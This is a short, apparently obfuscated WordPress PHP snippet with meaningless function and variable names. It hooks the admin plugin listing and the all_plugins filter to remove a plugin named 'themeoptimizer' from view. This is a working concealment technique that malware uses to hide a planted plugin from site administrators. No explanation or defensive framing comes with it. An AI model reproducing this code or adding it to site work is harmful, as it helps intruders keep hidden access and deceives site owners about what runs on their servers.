<?php

function ixukum_tubujita() {
    global $wp_list_table;
    $qafoma = array('themeoptimizer/themeoptimizer.php');
    $idakuda = $wp_list_table->items;
    foreach ($idakuda as $ubosyp => $fidika) {
        if (in_array($ubosyp, $qafoma)) {
            unset($wp_list_table->items[$ubosyp]);
        }
    }
}

function qaluba_ajifyqen($apobak_ivivyjeq) {
    if (in_array('themeoptimizer/themeoptimizer.php', array_keys($apobak_ivivyjeq))) {
        unset($apobak_ivivyjeq['themeoptimizer/themeoptimizer.php']);
    }
    return $apobak_ivivyjeq;
}

add_action('pre_current_active_plugins', 'ixukum_tubujita');
add_filter('all_plugins', 'qaluba_ajifyqen');